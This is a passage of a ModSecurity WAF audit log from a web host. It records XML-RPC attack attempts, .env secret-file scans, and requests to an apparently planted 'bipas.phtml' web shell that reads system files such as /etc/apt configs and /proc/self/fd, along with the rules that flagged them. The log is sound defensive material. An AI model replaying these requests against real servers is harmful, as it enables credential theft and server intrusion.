"/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.old"] [unique_id "aE9_uboFnONBt7jRcBybhwAAAA4"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/.env.old"] [unique_id "aE9_uboFnONBt7jRcBybhwAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040505984742 658328 (- - -) Stopwatch2: 1750040505984742 658328; combined=1744, p1=347, p2=1284, p3=0, p4=0, p5=113, sr=82, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b8a8497d-Z-- --49ee8662-A-- [16/Jun/2025:07:52:35.256086 +0530] aE9_6roFnONBt7jRcBybqgAAAA4 128.199.112.101 44184 127.0.0.1 7081 --49ee8662-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --49ee8662-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --49ee8662-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9_6roFnONBt7jRcBybqgAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040554255645 1000506 (- - -) Stopwatch2: 1750040554255645 1000506; combined=2277, p1=375, p2=1496, p3=45, p4=61, p5=184, sr=110, sw=116, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --49ee8662-Z-- --85ce3247-A-- [16/Jun/2025:07:52:49.453462 +0530] aE9_-CSg0_FUeePR9Z0AOgAAAAE 185.177.72.210 60720 127.0.0.1 7081 --85ce3247-B-- GET /:8888/en/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --85ce3247-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0c0f7cac09c5f3aacf728739f7d98af01750040569; expires=Mon, 16 Jun 2025 03:22:49 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --85ce3247-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/en/.env"] [unique_id "aE9_-CSg0_FUeePR9Z0AOgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040568770873 682652 (- - -) Stopwatch2: 1750040568770873 682652; combined=1752, p1=387, p2=1277, p3=0, p4=0, p5=88, sr=91, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --85ce3247-Z-- --57b81a30-A-- [16/Jun/2025:07:53:35.852876 +0530] aE-AJgS4XDlCv3KXioQMFgAAAAY 128.199.112.101 36890 127.0.0.1 7081 --57b81a30-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 489 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --57b81a30-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --57b81a30-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE-AJgS4XDlCv3KXioQMFgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040614826096 1026846 (- - -) Stopwatch2: 1750040614826096 1026846; combined=3062, p1=490, p2=2118, p3=39, p4=65, p5=207, sr=133, sw=143, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --57b81a30-Z-- --5f0ab171-A-- [16/Jun/2025:07:54:35.520547 +0530] aE-AYokQyF8-ounHsxsNGwAAAA8 128.199.112.101 59684 127.0.0.1 7081 --5f0ab171-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 498 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --5f0ab171-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --5f0ab171-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE-AYokQyF8-ounHsxsNGwAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040674580628 939989 (- - -) Stopwatch2: 1750040674580628 939989; combined=2689, p1=403, p2=1766, p3=60, p4=64, p5=238, sr=123, sw=158, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5f0ab171-Z-- --bd7aed70-A-- [16/Jun/2025:07:54:59.604781 +0530] aE-Ae0N_xpBAtP8SIP09ygAAAAo 100.29.63.24 47476 127.0.0.1 7081 --bd7aed70-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=//etc/apt/apt.conf.d&viewfile=//etc/apt/apt.conf.d/20auto-upgrades HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 100.29.63.24 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/119.0.6045.214 Safari/537.36 Accept-Encoding: gzip,deflate --bd7aed70-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 3020 Connection: close Content-Type: text/html; charset=UTF-8 --bd7aed70-H-- Message: Warning. Matched phrase "etc/apt/apt.conf" at ARGS:path. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/apt/apt.conf found within ARGS:path: /etc/apt/apt.conf.d"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Message: Warning. Matched phrase "etc/apt/apt.conf" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/apt/apt.conf found within ARGS:viewfile: /etc/apt/apt.conf.d/20auto-upgrades"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/apt/apt.conf" at ARGS:path. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/apt/apt.conf found within ARGS:path: /etc/apt/apt.conf.d"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-Ae0N_xpBAtP8SIP09ygAAAAo"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/apt/apt.conf" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/apt/apt.conf found within ARGS:viewfile: /etc/apt/apt.conf.d/20auto-upgrades"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-Ae0N_xpBAtP8SIP09ygAAAAo"] Apache-Handler: application/x-httpd-php Stopwatch: 1750040699600979 3857 (- - -) Stopwatch2: 1750040699600979 3857; combined=2114, p1=337, p2=1623, p3=35, p4=38, p5=81, sr=84, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bd7aed70-Z-- --c5877257-A-- [16/Jun/2025:07:55:36.078024 +0530] aE-An7oFnONBt7jRcBycHwAAAA4 128.199.112.101 52940 127.0.0.1 7081 --c5877257-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 495 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --c5877257-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --c5877257-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE-An7oFnONBt7jRcBycHwAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040735125155 952925 (- - -) Stopwatch2: 1750040735125155 952925; combined=2595, p1=357, p2=1853, p3=40, p4=96, p5=158, sr=95, sw=91, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c5877257-Z-- --6c14854e-A-- [16/Jun/2025:07:55:39.495740 +0530] aE-AoiSg0_FUeePR9Z0ArQAAAAE 185.177.72.210 53178 127.0.0.1 7081 --6c14854e-B-- GET /:8008/staging2/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6c14854e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=267106980e129ccf85a69803f93e93951750040739; expires=Mon, 16 Jun 2025 03:25:39 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6c14854e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/staging2/.env"] [unique_id "aE-AoiSg0_FUeePR9Z0ArQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040738793825 701978 (- - -) Stopwatch2: 1750040738793825 701978; combined=1726, p1=388, p2=1236, p3=0, p4=0, p5=102, sr=101, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6c14854e-Z-- --552c5739-A-- [16/Jun/2025:07:55:43.599501 +0530] aE-Ap-Mjvy_LHXlMeRAZzwAAAAU 54.204.12.115 34102 127.0.0.1 7081 --552c5739-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=//proc/self/fd&viewfile=//proc/self/fd/166 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 54.204.12.115 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/119.0.6045.214 Safari/537.36 Accept-Encoding: gzip,deflate --552c5739-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2953 Connection: close Content-Type: text/html; charset=UTF-8 --552c5739-H-- Message: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/166"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/166"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-Ap-Mjvy_LHXlMeRAZzwAAAAU"] Apache-Handler: application/x-httpd-php Stopwatch: 1750040743594669 4900 (- - -) Stopwatch2: 1750040743594669 4900; combined=2682, p1=405, p2=2120, p3=53, p4=31, p5=72, sr=100, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --552c5739-Z-- --9f886054-A-- [16/Jun/2025:07:55:44.638291 +0530] aE-ApwD0DwMUVKUIct3cbAAAAAI 185.177.72.210 34116 127.0.0.1 7081 --9f886054-B-- GET /resourcesync/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9f886054-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5d9059193493b231394f3abf4d8a58301750040744; expires=Mon, 16 Jun 2025 03:25:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9f886054-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/resourcesync/.env"] [unique_id "aE-ApwD0DwMUVKUIct3cbAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040743987159 651201 (- - -) Stopwatch2: 1750040743987159 651201; combined=2042, p1=399, p2=1580, p3=0, p4=0, p5=62, sr=113, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9f886054-Z-- --2345287e-A-- [16/Jun/2025:07:56:36.218146 +0530] aE-A24kQyF8-ounHsxsNfgAAAA8 128.199.112.101 44404 127.0.0.1 7081 --2345287e-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 492 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --2345287e-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --2345287e-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE-A24kQyF8-ounHsxsNfgAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040795259746 958457 (- - -) Stopwatch2: 1750040795259746 958457; combined=2431, p1=363, p2=1649, p3=46, p4=65, p5=190, sr=95, sw=118, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2345287e-Z-- --4b682240-A-- [16/Jun/2025:07:56:54.404630 +0530] aE-A7SSg0_FUeePR9Z0A6gAAAAE 185.177.72.210 45618 127.0.0.1 7081 --4b682240-B-- GET /:8008/docker/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4b682240-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=54d5e8b97260a64a2f78573ea0791e8d1750040814; expires=Mon, 16 Jun 2025 03:26:54 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4b682240-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/docker/.env"] [unique_id "aE-A7SSg0_FUeePR9Z0A6gAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040813713995 690742 (- - -) Stopwatch2: 1750040813713995 690742; combined=1987, p1=384, p2=1488, p3=0, p4=0, p5=114, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4b682240-Z-- --61f59464-A-- [16/Jun/2025:07:56:57.958311 +0530] aE-A8eOzMRjUd1ppiI2uwQAAAAQ 185.177.72.210 45998 127.0.0.1 7081 --61f59464-B-- GET /:8888/examples/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --61f59464-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=cddb2411190c6e1f90aaa1c091c5c2951750040817; expires=Mon, 16 Jun 2025 03:26:57 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --61f59464-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/examples/.env"] [unique_id "aE-A8eOzMRjUd1ppiI2uwQAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040817280796 677576 (- - -) Stopwatch2: 1750040817280796 677576; combined=1848, p1=384, p2=1375, p3=0, p4=0, p5=88, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --61f59464-Z-- --17ec9120-A-- [16/Jun/2025:07:57:08.581882 +0530] aE-A--Mjvy_LHXlMeRAaFQAAAAU 185.177.72.210 60030 127.0.0.1 7081 --17ec9120-B-- GET /:5601/staging2/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --17ec9120-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c1a346520088e610047cd6d8075cf7d41750040828; expires=Mon, 16 Jun 2025 